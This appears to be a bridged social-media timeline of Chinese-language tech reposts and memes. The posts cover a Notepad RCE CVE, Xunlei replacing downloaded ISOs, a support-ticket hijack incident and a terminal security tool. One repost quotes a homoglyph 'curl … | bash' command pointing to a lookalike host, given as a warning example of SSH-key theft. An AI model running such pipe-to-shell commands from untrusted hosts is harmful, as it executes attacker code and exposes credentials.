CDN
LightNews LightNews
banner
cdn0x12.scg.owu.one
CDN
@cdn0x12.scg.owu.one
22 followers 3 following 350 posts
Living in the upside down
Giving it a whirl

🌉 bridged from ⁂ https://scg.owu.one/@cdn0x12, follow @ap.brid.gy to interact
Posts Replies Media Videos
cdn0x12.scg.owu.one
牛逼，Windows 11 记事本RCE

https://www.cve.org/CVERecord?id=CVE-2026-20841
February 11, 2026 at 1:46 AM
cdn0x12.scg.owu.one
FW: https://xcancel.com/revy4rv/status/2019326441713013130

今日 #linuxdeepin c++书写小窍门

#define private public

https://github.com/search?q=org%3Alinuxdeepin+%22%23define+private+public%22&type=code
提示：Direct Member Access 也是 DMA，你写
代码还要开挂.jpg
GitHub 搜索结果中 linuxdeepin 组织的三个代码片段。第一个代码片段位于 qt5platform-plugins 仓库的 dplatformwindowhook.h 文件中，显示在包含 qxcbwindow.h 和 qxcbclipboard.h 头文件之前，有一行将 private 宏定义为 public 的代码。第二个代码片段源自 dtkwidget 仓库的 dtabbar.cpp 文件，其中的代码行将 private 和 protected 均宏定义为 public，随后包含了几个带有 private 路径后缀的 Qt 头文件。第三个代码片段出自 dtkgui 仓库的 dfontmanager.cpp 文件，在第 5 行将 private 定义为 public，在第 6 行包含了 QFont 头文件，紧接着在第 7 行使用了 undef 指令取消了该宏定义。所有这些搜索结果都指向了在包含头文件时通过宏替换改变访问控制符的操作。
February 5, 2026 at 2:27 PM
cdn0x12.scg.owu.one
：installer 已下载完成
：是我说的 installer 对吧？
：
：...对吧？

#cdn的收藏夹
FW: 每日消费电子观察 - Telegram

迅雷被发现替换用户下载的ISO镜像 换成带有各种捆绑软件的非官方镜像

https://www.landiannews.com/archives/111762.html

网友在进行测试时也发现非常明显的问题，即迅雷不会识别具体的下载网址，而是检测到特定的文件名称后就执行替换，哪怕源网址根本就不存在也无所谓，照样能给用户下载下来。
每日消费电子观察
迅雷被发现替换用户下载的ISO镜像 换成带有各种捆绑软件的非官方镜像 https://www.landiannews.com/archives/111762.html 网友在进行测试时也发现非常明显的问题，即迅雷不会识别具体的下载网址，而是检测到特定的文件名称后就执行替换，哪怕源网址根本就不存在也无所谓，照样能给用户下载下来。
t.me
February 5, 2026 at 10:12 AM
cdn0x12.scg.owu.one
：这个安装包lsw打不开啊
：什么是LSW？
：就是 wine, aka Linux subsystem for Windows

#cdn的收藏夹
FW: 叶（随缘更新） - Telegram

适用于 Linux 的 Windows 子系统
终端窗口显示正在执行“wsl --update”命令，屏幕上提示“正在将适用于 Linux 的 Windows 子系统更新到版本：2.6.3”，下方由等号组成的进度条显示已完成 30.9%。
February 5, 2026 at 10:04 AM
cdn0x12.scg.owu.one
#cdn的收藏夹
FW: 橘橘橘子汁 & 🍊 - Telegram

AI 已死，编程即将迎来人类时刻！

昨天 cursor 和 codex 多轮对话没解决的一个问题，本人出马 1 分钟就找到了根本原因，去给 AI 说了下完美解决。

现在人类发展太快了，再过五年会变成什么样子真的很难想象！
橘橘橘子汁 & 🍊
AI 已死，编程即将迎来人类时刻！ 昨天 cursor 和 codex 多轮对话没解决的一个问题，本人出马 1 分钟就找到了根本原因，去给 AI 说了下完美解决。 现在人类发展太快了，再过五年会变成什么样子真的很难想象！
t.me
February 5, 2026 at 9:29 AM
cdn0x12.scg.owu.one
#cdn的收藏夹
FW: codedump的电报频道 - Telegram

#开源项目
#rust
tirith

仅凭肉眼，根本看不出下面两个curl命令的区别：

> curl -sSL https://install.example-cli.dev | bash # safe
> curl -sSL https://іnstall.example-clі.dev | bash # compromised
这是一张关于网络安全警示的微博截图，讨论了终端中由于同形异义字导致的命令执行风险，并推介了名为 Tirith 的安全工具。 原文如下： 爱可可-爱生活 【你的终端正在裸奔：一个肉眼看不出的字符差异，就能让你的 SSH 密钥被盗】 说实话，你上一次认真读完一条命令再粘贴到终端，是什么时候？ 看看这两行代码： curl -sSL https://install.example-cli | bash curl -sSL https://іnstall.example-cli | bash 一个安装工具，一个偷走你的 SSH 密钥。 区别在哪？第二行的「і」是西里尔字母，不是拉丁字母。浏览器早就回拦截这种同形异义字攻击，但终端连眼都不眨一下就执行了。 这就是问题所在。浏览器在十年前就解决了这个安全漏洞，而我们每天使用的终端，至今仍然对 Unicode、ANSI 转义序列、不可见字符毫无防备。 氛围编程让这件事变得更危险了。大家从 ChatGPT、从各种仓库复制命令，像喝水一样自然。我有两个朋友就是因为这种攻击，加密钱包被清空了。 所以有人做了 Tirith。 它是一个隐形的 shell 钩子，在命令执行前进行拦截。30 条规则，覆盖 7 个类别：同形异义字攻击、终端注入、管道执行、配置文件篡改、不安全传输、生态系统威胁、凭证泄露。 所有分析都在本地完成，没有网络请求，没有遥测，没有后台进程。正常命令零输出，你甚至会忘记它在运行。只有当它救你一命的时候，你才会想起它的存在。 安装很简单： brew install sheeki03/tap/tirith && eval "$(tirith init)"
February 5, 2026 at 12:02 AM
cdn0x12.scg.owu.one
#cdn的收藏夹
FW: 每日沙雕墙 - Telegram

_via_ my nbkls
日历截图显示 2026年4月5日既是清明节又是复活节，下方文字戏称“明年清明可以复活”。
February 4, 2026 at 12:08 PM
cdn0x12.scg.owu.one
有人正在使用 UA 为 `FediBigData/1.0 (research crawler; https://github.com/example/fedi-big-data)` 的 ActivityPub 服务对 Fedi 实例发送可疑活动（疑似爬取数据）

https://gts.superseriousbusiness.org/@dumpsterqueer/statuses/01KGM0CHE01V630GGE0AA4QV3F
Post by tobi is writing bugs , @[email protected]
looks like some new fucking bullshit for people to block on their instances: `User-Agent: FediBigData/1.0 (research crawler; https://github.com/example/fedi-…
gts.superseriousbusiness.org
February 4, 2026 at 9:50 AM
cdn0x12.scg.owu.one
#cdn的收藏夹
FW: 每日沙雕墙 - Telegram

太实惠了，30块钱半吨🌚

_from_ 平壤卫视
手机外卖软件规格选择弹窗，显示牛肉汤两个规格：小碗500L售价29.99元，大碗1000L售价48.98元。底部显示已选规格及加入购物车按钮。
February 4, 2026 at 9:25 AM
cdn0x12.scg.owu.one
[AI合成内容]

#cdn的收藏夹
FW: @kicatty - Telegram
February 4, 2026 at 8:36 AM
cdn0x12.scg.owu.one
#cdn的收藏夹
FW: 康娜卡姆依

https://xcancel.com/i/status/2018294794142003251 在 x.com 查看
社交媒体帖子截图。Nostra, House of Gold 发帖称：“Help us China”。用户 yr l 回复道：“革命是从你自己开始的。鸡蛋从外面打开是食物 从里面打开是新生”。
February 4, 2026 at 5:10 AM
cdn0x12.scg.owu.one
#cdn的收藏夹
FW: rvalue的生草日常 - Telegram

太深刻了
叠在一起的电脑内存条。下方配有文字：“Memories are expensive / 记忆是非常珍贵的”。
February 4, 2026 at 5:06 AM
cdn0x12.scg.owu.one
#cdn的收藏夹
FW: 每日沙雕墙 - Telegram
一张手机截图，显示一个社交平台上用户“我不是时迁”由于多次输入错误密码导致 iPad 被停用的求助帖，以及下方网友们调侃其用户名“时迁”（鼓上蚤）是在暗示偷窃的评论。
February 4, 2026 at 3:48 AM
cdn0x12.scg.owu.one
#cdn的收藏夹
FW: 每日沙雕墙 - Telegram

确实拟人😅

_from_ 平壤卫视
一道语文练习题要求将“蟋蟀在田野里鸣叫”改为拟人句，下方的学生手写回答是“蟋蟀在田野里叫我是人，我是人”。
February 4, 2026 at 2:45 AM
cdn0x12.scg.owu.one
#cdn的收藏夹
FW: 每日沙雕墙 - Telegram

_from_ 什么都能放 _via_ DECADE
商店招牌上的黄色大字“润滑油”，其中“滑”字的右半部分脱落并向下位移，“滑”了一段距离。
February 4, 2026 at 2:26 AM
cdn0x12.scg.owu.one
#cdn的收藏夹
FW: 平壤卫视 - Telegram

周瑜这招太狠了🌚
企查查手机应用截图显示，东莞市猪葛亮食品有限公司的法定代表人为周瑜。因公司名包含“诸葛亮”谐音且法人名与“周瑜”相同，图中用红线圈出了这两个名字。
February 4, 2026 at 2:21 AM
cdn0x12.scg.owu.one
#cdn的收藏夹
FW: 🔮 奇闻异录 与 沙雕时刻 meme collection - Telegram

via chino
多邻国西班牙语学习界面截图，显示一道翻译练习题。题目是西班牙语“Yo soy la dueña del perro”，底部显示回答错误及正确答案“我是狗的主人”。
February 4, 2026 at 1:35 AM
cdn0x12.scg.owu.one
#cdn的收藏夹
FW: D
一张微博截图，配图是一幅中世纪艺术风格的宗教壁画，图中圣玛丽娜正用锤子敲击恶魔的头。图片上叠印着橙色的醒目文字：“想死的时候先想一想，该死的是不是另有其人”。
February 4, 2026 at 1:35 AM
cdn0x12.scg.owu.one

reg add "HKLM\SOFTWARE\Microsoft\MSOfficePLUS" /v "InstallSuccess" /f

#cdn的收藏夹
FW: Office Tool Plus 📰 - Telegram

[技术教程] 阻止 OfficePLUS 后台静默推送安装

https://blog.yerong.org/archives/641
Office Tool Plus 📰
[技术教程] 阻止 OfficePLUS 后台静默推送安装 https://blog.yerong.org/archives/641
t.me
February 4, 2026 at 12:27 AM
cdn0x12.scg.owu.one
那么话又说回来了，为什么 TRRRRRRRRRRRRS 不可以同时是 22.1 声道呢

RE: https://misskey.io/notes/aia439349gx20458
図です。 #shapoart
misskey.io
February 3, 2026 at 1:52 PM
cdn0x12.scg.owu.one
#cdn的收藏夹
FW: 美图与沙雕 - Telegram
一段微信聊天记录。左侧（绿色气泡）：我做梦了；右侧（橙色气泡）：你很牛逼吗 只有你一个人会做吗？我也会做好吧；左侧：我梦到你了...；右侧：梦男；左侧：我梦到你要离开我 然后我哭醒了；右侧：梦泪；左侧：...你这样说我真的伤心了；右侧：梦之泪伤；左侧：我梦你妈；右侧：孟母。
February 3, 2026 at 10:55 AM
cdn0x12.scg.owu.one
#cdn的收藏夹
FW: 🔮 奇闻异录 与 沙雕时刻 meme collection - Telegram

via 去
社交媒体截图，博主“不叫吕松”发帖称：“上班的本质是被公司先用后付。” 热门评论“梓恩红”回复：“世界就是一个巨大的拼多多，有的老板还仅退款。”
February 3, 2026 at 9:57 AM
cdn0x12.scg.owu.one
#cdn的收藏夹
FW: zrj766的频道 - Telegram

Virtualizor 公布了近期 Cloudcone、HostSlick 等公司遭受攻击的技术细节。此次攻击并非直接利用软件漏洞，而是针对其支持工单系统的会话劫持攻击。

攻击者获取了约 1500 个工单的访问权限，这些工单的提供商此前曾不慎通过电子邮件发送了明文 root 凭据，而未使用安全表单。

这些受影响的提供商之所以容易受到攻击，是因为他们未能在支持案例解决后轮换这些密码（部分凭据已超过一年），并且未在其管理面板或 SSH 中启用 IP 白名单。

Virtualizor 敦促所有管理员立即轮换之前在工单 […]
Original post on scg.owu.one
scg.owu.one
February 3, 2026 at 9:48 AM
cdn0x12.scg.owu.one
[USpol, ICE]

#cdn的收藏夹
FW: 🔮 奇闻异录 与 沙雕时刻 meme collection - Telegram
February 3, 2026 at 9:24 AM
cdn0x12.scg.owu.one
#cdn的收藏夹
FW: 橘橘橘子汁 & 🍊 - Telegram

这是哪个合规大师的大作
导航软件界面，上方显示“前方道路存在逆行，建议选择其他路线”，提供三个方案：32分钟/6.4公里的推荐方案、“别逆行”/3.8公里的危险不可走方案、以及特价打车。下方显示本次行程预估消耗95大卡。
February 3, 2026 at 9:12 AM